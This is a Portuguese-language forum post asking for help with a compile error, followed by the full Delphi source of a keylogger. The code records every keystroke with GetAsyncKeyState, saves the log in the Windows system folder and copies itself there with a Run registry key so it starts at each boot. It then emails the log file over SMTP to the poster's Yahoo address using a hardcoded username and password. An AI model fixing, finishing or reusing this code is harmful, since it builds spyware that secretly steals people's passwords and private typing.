rafael balzani

estou fazendo um KL que envia msg por smtp mas da dando erro na "with Mensagem do" não sei porque alguém podria me dar uma focinha ta ai o cod completo unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, Registry, XPMan, OleCtrls, SHDocVw, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdBaseComponent, IdMessage; type TForm1 = class(TForm) capturar: TTimer; salvar: TTimer; XPManifest1: TXPManifest; enviar: TTimer; Memo1: TMemo; IdMessage1: TIdMessage; IdSMTP1: TIdSMTP; procedure capturarTimer(Sender: TObject); procedure salvarTimer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure enviarTimer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; reg:TRegIniFile; s,a : string; implementation {$R *.dfm} function Coloca(txt: String): String; begin Form1.Memo1.Text := Form1.Memo1.Text + txt; end; procedure TForm1.capturarTimer(Sender: TObject); var keyloop, KeyResult : Integer; begin keyloop := 0; repeat KeyResult := GetAsyncKeyState(keyloop); if KeyResult = -32767 then begin case keyloop of 8: Coloca(' [BACKSPACE] '); 9: Coloca(' [TAB] '); 12: Coloca(' [ALT] '); 13: Coloca(' [ENTER] '); 16: Coloca(' [SHIFT] '); 17: Coloca(' [CONTROL] '); 18: Coloca(' [ALT] '); 20: Coloca(' [CAPS LOCK] '); 21: Coloca(' [PAGE UP] '); 27: Coloca(' [ESC] '); 33: Coloca(' [PAGE UP] '); 34: Coloca(' [PAGE DOWN] '); 35: Coloca(' [END] '); 36: Coloca(' [HOME] '); 37: Coloca(' [SETA ESQUERDA] '); 38: Coloca(' [SETA ACIMA] '); 39: Coloca(' [SETA DIREITA] '); 40: Coloca(' [SETA ABAIXO] '); 45: Coloca(' [INSERT] '); 46: Coloca(' [DEL] '); 91: Coloca(' [WIN ESQUERDA] '); 92: Coloca(' [WIN DIREITA] '); 93: Coloca(' [MENU POP-UP] '); 96: Coloca('0'); 97: Coloca('1'); 98: Coloca('2'); 99: Coloca('3'); 100: Coloca('4'); 101: Coloca('5'); 102: Coloca('6'); 103: Coloca('7'); 104: Coloca('8'); 105: Coloca('9'); 106: Coloca(' [NUM *] '); 107: Coloca(' [NUM +] '); 109: Coloca(' [NUM -] '); 110: Coloca(' [NUM SEP. DECIMAL] '); 111: Coloca(' [NUM /] '); 112: Coloca(' [F1] '); 113: Coloca(' [F2] '); 114: Coloca(' [F3] '); 115: Coloca(' [F4] '); 116: Coloca(' [F5] '); 117: Coloca(' [F6] '); 118: Coloca(' [F7] '); 119: Coloca(' [F8] '); 120: Coloca(' [F9] '); 121: Coloca(' [F10] '); 122: Coloca(' [F11] '); 123: Coloca(' [F12] '); 144: Coloca(' [NUM LOCK] '); 186: Coloca('Ç'); 187: Coloca('='); 188: Coloca(','); 189: Coloca('-'); 190: Coloca('.'); 191: Coloca(';'); 192: Coloca(' [APÓSTROFO] '); 193: Coloca('/'); 194: Coloca(' [NUM PONTO] '); 219: Coloca('´'); 220: Coloca(']'); 221: Coloca('['); 222: Coloca('~'); 226: Coloca('\'); else if (KeyLoop >= 65) and (keyloop <= 90) then Coloca(Chr(keyloop)); if (keyloop >= 32) and (keyloop <= 63) then Coloca(Chr(keyloop)); //numpad keycodes if (keyloop >= 96) and (keyloop <= 110) then Coloca(Chr(keyloop)); end; end; //case; inc(keyloop); until keyloop = 255; end; procedure TForm1.salvarTimer(Sender: TObject); var F:textfile; begin Assignfile(F,'c:\windows\system32\key.txt'); if not FileExists('c:\windows\system32\key.txt') Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,'c:\windows\system32\key.txt'); {$I-} Append(F); {$I+} If IOResult<> 0 Then Begin End; Write(F,Form1.Memo1.text); Closefile(F); end; procedure TForm1.FormCreate(Sender: TObject); begin a := Application.ExeName; CopyFile(Pchar(a), Pchar('C:\Windows\System\Keylogger.exe'),false); s:= 'C:\Windows\System\Keylogger.exe'; Reg:=TRegIniFile.Create('full'); reg.RootKey:=HKEY_LOCAL_MACHINE; reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false); reg.WriteString('Run', 'KL', s); end; procedure TForm1.enviarTimer(Sender: TObject); with Mensagem do; begin Body.text:=(Memo1.text); From.Text := 'rafaelbalzani@yahoo.com.br'; Recipients.EMailAddresses := 'rafaelbalzani@yahoo.com.br'; Subject := ('Logs de: '+user); smtp.AuthenticationType := atlogin; // Indica que requer autenticação smtp.Username :='rafaelbalzani'; smtp.Password :='nic1245'; smtp.Host := 'smtp.mail.yahoo.com.br'; //HOST SMTP. smtp.Port := 25; // Porta SMTP do yahoo é 25. //Anexo. TIdAttachment.Create(Mensagem.MessageParts, 'c:\windows\system32\key.txt'); smtp.Connect; //Conecta. try smtp.Send(mensagem); // Envia Mensagem + Anexo. finally smtp.Disconnect; // Desconecta do SV SMTP end; end; end; end.